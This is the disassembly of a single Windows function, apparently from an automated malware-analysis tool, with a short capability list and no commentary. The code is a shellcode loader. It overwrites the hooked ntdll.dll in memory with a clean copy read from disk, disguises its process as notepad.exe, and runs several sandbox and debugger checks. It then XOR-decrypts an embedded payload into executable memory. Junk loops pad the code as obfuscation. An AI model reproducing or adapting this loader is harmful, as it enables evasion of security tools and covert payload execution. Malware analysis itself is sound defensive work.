Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x8d8
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x840], xmm6
mov dword [rbp + 0x880], ecx
mov qword [rbp + 0x888], rdx
call fcn.140002aa0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7b8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7b0], rax
mov dword [rbp + 0x83c], 0x366
mov dword [rbp + 0x838], 0x208
jmp 0x1400014e4
mov eax, dword [rbp + 0x83c]
cmp eax, dword [rbp + 0x838]
jle 0x1400014dd
sub dword [rbp + 0x83c], 1
jmp 0x1400014e4
sub dword [rbp + 0x838], 1
cmp dword [rbp + 0x83c], 0
jg 0x1400014c6
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7a8], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x830], rax
cmp qword [rbp + 0x830], 0
jne 0x140001571
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x830], rax
cmp qword [rbp + 0x830], 0
je 0x140001a90
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5d0]
mov rax, qword [rbp + 0x7a8]
mov r10, qword [rbp + 0x830]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x5d0]
mov qword [rbp + 0x7a0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x798], rax
mov dword [rbp + 0x82c], 0
mov dword [rbp + 0x828], 0
mov ecx, 0xd88
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x790], rax
mov dword [rbp + 0x824], 0
jmp 0x1400016a0
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x824]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x790]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x824]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x790]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x82c], eax
add dword [rbp + 0x824], 1
cmp dword [rbp + 0x824], 0x361
jle 0x140001632
mov dword [rbp + 0x824], 0
jmp 0x140001728
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x828]
mov eax, dword [rbp + 0x824]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x790]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x754]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm0
movq rax, xmm2
movsd xmm0, qword [0x140006648]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003dd0
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x828], eax
add dword [rbp + 0x824], 1
cmp dword [rbp + 0x824], 0x361
jle 0x1400016b8
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x828]
movss xmm1, dword [0x140006650]
divss xmm0, xmm1
movss dword [rbp + 0x78c], xmm0
pxor xmm3, xmm3
cvtss2sd xmm3, dword [rbp + 0x78c]
movq rax, xmm3
movq xmm0, rax
call fcn.140003a90
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x788], xmm0
mov rax, qword [rbp + 0x790]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x798]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x780], rax
mov rax, qword [rbp + 0x780]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x778], rax
mov ecx, 0x708
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x770], rax
mov dword [rbp + 0x820], 0
jmp 0x140001855
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x820]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x770]
add rax, rdx
movsd xmm1, qword [0x140006658]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x820], 1
cmp dword [rbp + 0x820], 0xe0
jle 0x140001817
mov dword [rbp + 0x820], 0
jmp 0x1400018f2
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x820]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x770]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x820]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x770]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003bd0
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x820], 1
cmp dword [rbp + 0x820], 0xe0
jle 0x140001870
mov rax, qword [rbp + 0x7a0]
mov qword [rbp + 0x768], rax
mov rax, qword [rbp + 0x768]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x7a0]
add rax, rdx
mov qword [rbp + 0x760], rax
mov word [rbp + 0x81e], 0
jmp 0x140001a78
mov rax, qword [rbp + 0x760]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x760]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x81e]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x758], rax
mov rax, qword [rbp + 0x758]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001a67
mov dword [rbp + 0x598], 0
mov rax, qword [rbp + 0x758]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x758]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7a0]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x598]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x758]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x758]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x778]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x758]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7a0]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x598]
mov rax, qword [rbp + 0x758]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x758]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7a0]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x598]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x81e]
add eax, 1
mov word [rbp + 0x81e], ax
mov rax, qword [rbp + 0x760]
movzx eax, word [rax + 6]
cmp word [rbp + 0x81e], ax
jb 0x14000193c
mov dword [rbp + 0x59c], 0
mov rax, qword [rbp + 0x7b8]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x748], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5a0]
lea rax, [rbp + 0x59c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x748]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x5a8]
add rax, 0x3c
mov qword [rbp + 0x740], rax
mov dword [rbp + 0x818], 0xffffffff
add dword [rbp + 0x818], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0x14f
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006658]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003c00
movq rax, xmm0
mov qword [rbp + 0x738], rax
cmp dword [rbp + 0x818], 0xf4
jle 0x140001b0d
mov rax, qword [rbp + 0x740]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov dword [rbp + 0x810], 1
jmp 0x140001c28
mov dword [rbp + 0x814], 0
mov eax, dword [rbp + 0x810]
mov dword [rbp + 0x80c], eax
jmp 0x140001bfe
mov edx, dword [rbp + 0x80c]
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
mov ecx, eax
sar ecx, 2
mov eax, edx
sar eax, 0x1f
sub ecx, eax
mov eax, ecx
shl eax, 2
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp + 0x5f4], edx
mov eax, dword [rbp + 0x5f4]
imul eax, eax
imul eax, dword [rbp + 0x5f4]
add dword [rbp + 0x814], eax
mov eax, dword [rbp + 0x80c]
movsxd rdx, eax
imul rdx, rdx, 0x66666667
shr rdx, 0x20
mov ecx, edx
sar ecx, 2
cdq
mov eax, ecx
sub eax, edx
mov dword [rbp + 0x80c], eax
cmp dword [rbp + 0x80c], 0
jne 0x140001b93
mov eax, dword [rbp + 0x814]
cmp eax, dword [rbp + 0x810]
jne 0x140001c21
mov eax, dword [rbp + 0x810]
mov dword [rbp + 0x5f8], eax
add dword [rbp + 0x810], 1
cmp dword [rbp + 0x810], 0x261
jle 0x140001b7b
mov rax, qword [rbp + 0x740]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x730], rax
cmp qword [rbp + 0x730], 0
je 0x1400029d8
mov rax, qword [rbp + 0x730]
mov edx, 0x4a3
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x72c], eax
mov dword [rbp + 0x728], 0x1fc
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x720], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x718], rax
mov rax, qword [rbp + 0x718]
call rax
mov dword [rbp + 0x714], eax
mov eax, dword [rbp + 0x728]
mov r8, qword [rbp + 0x720]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x718]
call rax
mov dword [rbp + 0x710], eax
mov eax, dword [rbp + 0x710]
sub eax, dword [rbp + 0x714]
cmp eax, 0x1ca
jbe 0x1400029d8
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x708], rax
mov rax, qword [rbp + 0x708]
call rax
mov dword [rbp + 0x704], eax
mov ecx, 0x2c6
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x708]
call rax
mov dword [rbp + 0x700], eax
mov eax, dword [rbp + 0x700]
sub eax, dword [rbp + 0x704]
cmp eax, 0x294
jbe 0x1400029d8
mov qword [rbp + 0x800], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6f8], rax
cmp qword [rbp + 0x6f8], 0
je 0x140001e52
mov rax, qword [rbp + 0x6f8]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x6f0]
mov r9d, 0x3000
mov r8d, 0x3eb
mov edx, 0
call rax
mov qword [rbp + 0x800], rax
cmp qword [rbp + 0x800], 0
je 0x1400029d8
mov dword [rbp + 0x6ec], 0x1f7
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e0], rax
mov rax, qword [rbp + 0x6e0]
call rax
mov dword [rbp + 0x6dc], eax
mov eax, dword [rbp + 0x6ec]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x6e0]
call rax
mov dword [rbp + 0x6d8], eax
mov eax, dword [rbp + 0x6d8]
sub eax, dword [rbp + 0x6dc]
cmp eax, 0x1c5
jbe 0x1400029d8
mov dword [rbp + 0x6d4], 0x2d8
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c0], rax
mov rax, qword [rbp + 0x6c0]
call rax
mov dword [rbp + 0x6bc], eax
mov eax, dword [rbp + 0x6d4]
mov r8, qword [rbp + 0x6c8]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x6c0]
call rax
mov dword [rbp + 0x6b8], eax
mov eax, dword [rbp + 0x6b8]
sub eax, dword [rbp + 0x6bc]
cmp eax, 0x2a6
jbe 0x1400029d8
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6b0], rax
cmp qword [rbp + 0x6b0], 0
je 0x140001ff4
mov rax, qword [rbp + 0x6b0]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a8], rax
mov rax, qword [rbp + 0x6a8]
mov ecx, 0
call rax
mov dword [rbp + 0x7fc], eax
cmp dword [rbp + 0x7fc], 0xffffffff
je 0x1400029d8
mov dword [rbp + 0x594], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x594]
mov r8, qword [rbp + 0x6a0]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x594]
cmp eax, 1
je 0x1400029d8
mov qword [rbp + 0x698], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x690], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x690]
mov r9d, 0x3000
mov r8d, 0x36c
mov edx, 0
call rax
mov qword [rbp + 0x698], rax
cmp qword [rbp + 0x698], 0
je 0x1400029d8
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x688], rax
mov rax, qword [rbp + 0x688]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x680], rax
cmp qword [rbp + 0x680], 0
jne 0x1400029d8
lea rax, [rbp + 0x90]
lea rdx, [0x140006140]
mov ecx, 0xa0
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
movzx ecx, word [rdx]
mov word [rax], cx
mov rax, qword [rbp + 0x7b0]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x678], rax
mov rax, qword [rbp + 0x7b0]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x670], rax
mov rax, qword [rbp + 0x678]
mov r8d, 0
mov edx, 0x501
mov ecx, 0x40000
call rax
mov qword [rbp + 0x668], rax
mov ecx, 0xf64
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x660], rax
mov ecx, 0xf64
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x658], rax
mov dword [rbp + 0x7f4], 0x3d8
mov dword [rbp + 0x7f8], 0
jmp 0x14000225d
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7f8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x660]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x7f8], 1
cmp dword [rbp + 0x7f8], 0x3d8
jle 0x140002210
mov dword [rbp + 0x7f8], 0
jmp 0x1400022bc
mov eax, dword [rbp + 0x7f4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x660]
add rax, rdx
mov edx, dword [rbp + 0x7f8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x658]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x7f4], 1
add dword [rbp + 0x7f8], 1
cmp dword [rbp + 0x7f8], 0x3d8
jle 0x140002275
mov rax, qword [rbp + 0x660]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x658]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x668]
mov r9, qword [rbp + 0x670]
mov r8d, 0x501
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x7b8]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x648], rax
lea rdx, [rbp + 0x90]
mov rax, qword [rbp + 0x650]
mov r9, qword [rbp + 0x648]
mov r8d, 0x501
mov rcx, rax
call r9
mov dword [rbp + 0x7f0], 0
mov dword [rbp + 0x7ec], 0
mov dword [rbp + 0x7e8], 0
movabs rax, 0x6da5200cc0d9a2bd
movabs rdx, 0xd19ded0675e2ff34
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0x63528d27ea379ff9
movabs rdx, 0x1982863f2d9697b6
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0x7501e880dab5bacd
movabs rdx, 0xc7d6602b0beee714
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0x17af85a393764797
movabs rdx, 0xb298271381d88ff7
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0x8ba838c1d3a3f446
movabs rdx, 0x1a254cc59f694e2e
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0xb53bd63c7ece67c6
movabs rdx, 0x949ff6aab166df3c
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0x832f4f460073af94
movabs rdx, 0x8c1837a5a432a5
mov qword [rbp + 0x7f], rax
mov qword [rbp + 0x87], rdx
movabs rax, 0x19c29b5b3d1ea185
movabs rdx, 0x784866c70fe3ca4b
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0xffbc92e482e1cb46
movabs rdx, 0xc16fc5684b9ec08
mov qword [rbp], rax
mov qword [rbp + 8], rdx
mov word [rbp + 0x10], 0x21
mov ecx, 0x23f4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x640], rax
mov ecx, 0x23f4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x638], rax
mov ecx, 0x23f4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x630], rax
mov dword [rbp + 0x7e4], 0
jmp 0x140002581
mov dword [rbp + 0x7e0], 0
jmp 0x14000256d
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7e4]
cdqe
imul rcx, rax, 0x9c
mov rax, qword [rbp + 0x640]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x7e0]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7e4]
cdqe
imul rcx, rax, 0x9c
mov rax, qword [rbp + 0x638]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x7e0]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x7e0], 1
cmp dword [rbp + 0x7e0], 0x26
jle 0x1400024c2
add dword [rbp + 0x7e4], 1
cmp dword [rbp + 0x7e4], 0x3a
jle 0x1400024b3
mov dword [rbp + 0x7e4], 0
jmp 0x14000263a
mov dword [rbp + 0x7e0], 0
jmp 0x140002626
mov eax, dword [rbp + 0x7e4]
cdqe
imul rdx, rax, 0x9c
mov rax, qword [rbp + 0x640]
add rdx, rax
mov eax, dword [rbp + 0x7e0]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7e4]
cdqe
imul rdx, rax, 0x9c
mov rax, qword [rbp + 0x638]
add rdx, rax
mov eax, dword [rbp + 0x7e0]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7e4]
cdqe
imul rdx, rax, 0x9c
mov rax, qword [rbp + 0x630]
add rdx, rax
addss xmm0, xmm1
mov eax, dword [rbp + 0x7e0]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x7e0], 1
cmp dword [rbp + 0x7e0], 0x26
jle 0x1400025a9
add dword [rbp + 0x7e4], 1
cmp dword [rbp + 0x7e4], 0x3a
jle 0x14000259d
mov rax, qword [rbp + 0x640]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x638]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x630]
mov rcx, rax
call sub.msvcrt.dll_free
jmp 0x1400027c1
mov eax, dword [rbp + 0x7f0]
cdqe
movzx edx, byte [rbp + rax - 0x10]
mov eax, dword [rbp + 0x7ec]
cdqe
movzx eax, byte [rbp + rax + 0x20]
xor edx, eax
mov eax, dword [rbp + 0x7f0]
cdqe
mov byte [rbp + rax - 0x40], dl
cmp dword [rbp + 0x7ec], 0x6d
jne 0x14000276e
mov dword [rbp + 0x7dc], 0xffffffff
mov ecx, 0x530
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x600], rax
add dword [rbp + 0x7dc], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x7dc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x600]
add rax, rdx
movsd xmm1, qword [0x140006658]
divsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x7dc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x600]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x7dc]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x600]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_atan
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x7dc], 0xa4
jle 0x1400026c9
mov dword [rbp + 0x7ec], 0
jmp 0x140002775
add dword [rbp + 0x7ec], 1
mov qword [rbp + 0x7d0], 0
mov dword [rbp + 0x5fc], 0x2b0
mov dword [rbp + 0x7d8], 1
jmp 0x1400027ac
mov eax, dword [rbp + 0x7d8]
cdqe
add qword [rbp + 0x7d0], rax
add dword [rbp + 0x7d8], 1
mov eax, dword [rbp + 0x7d8]
cmp eax, dword [rbp + 0x5fc]
jle 0x140002796
add dword [rbp + 0x7f0], 1
mov eax, dword [rbp + 0x7f0]
cmp eax, 0x20
jbe 0x140002679
mov dword [rbp + 0x62c], 1
mov ecx, 0xf04
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x620], rax
mov qword [rbp + 0x7c8], 2
jmp 0x14000281f
mov rax, qword [rbp + 0x7c8]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x620]
add rax, rdx
mov dword [rax], 1
add qword [rbp + 0x7c8], 1
cmp qword [rbp + 0x7c8], 0x3c0
jbe 0x1400027f8
mov qword [rbp + 0x7c8], 2
jmp 0x1400028b6
mov rax, qword [rbp + 0x7c8]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x620]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x1400028ae
mov rax, qword [rbp + 0x7c8]
mov qword [rbp + 0x7c0], rax
jmp 0x140002897
mov rax, qword [rbp + 0x7c8]
imul rax, qword [rbp + 0x7c0]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x620]
add rax, rdx
mov dword [rax], 0
add qword [rbp + 0x7c0], 1
mov rax, qword [rbp + 0x7c8]
imul rax, qword [rbp + 0x7c0]
cmp rax, 0x3c0
jbe 0x140002868
add qword [rbp + 0x7c8], 1
cmp qword [rbp + 0x7c8], 0x3c0
jbe 0x140002839
mov rax, qword [rbp + 0x620]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x7f0], 0
jmp 0x140002943
mov eax, dword [rbp + 0x7f0]
movsxd rdx, eax
mov rax, qword [rbp + 0x650]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x7e8]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x7f0]
movsxd rdx, eax
mov rax, qword [rbp + 0x650]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
cmp dword [rbp + 0x7e8], 0x20
jne 0x140002935
mov dword [rbp + 0x7e8], 0
jmp 0x14000293c
add dword [rbp + 0x7e8], 1
add dword [rbp + 0x7f0], 1
cmp dword [rbp + 0x7f0], 0x500
jle 0x1400028e2
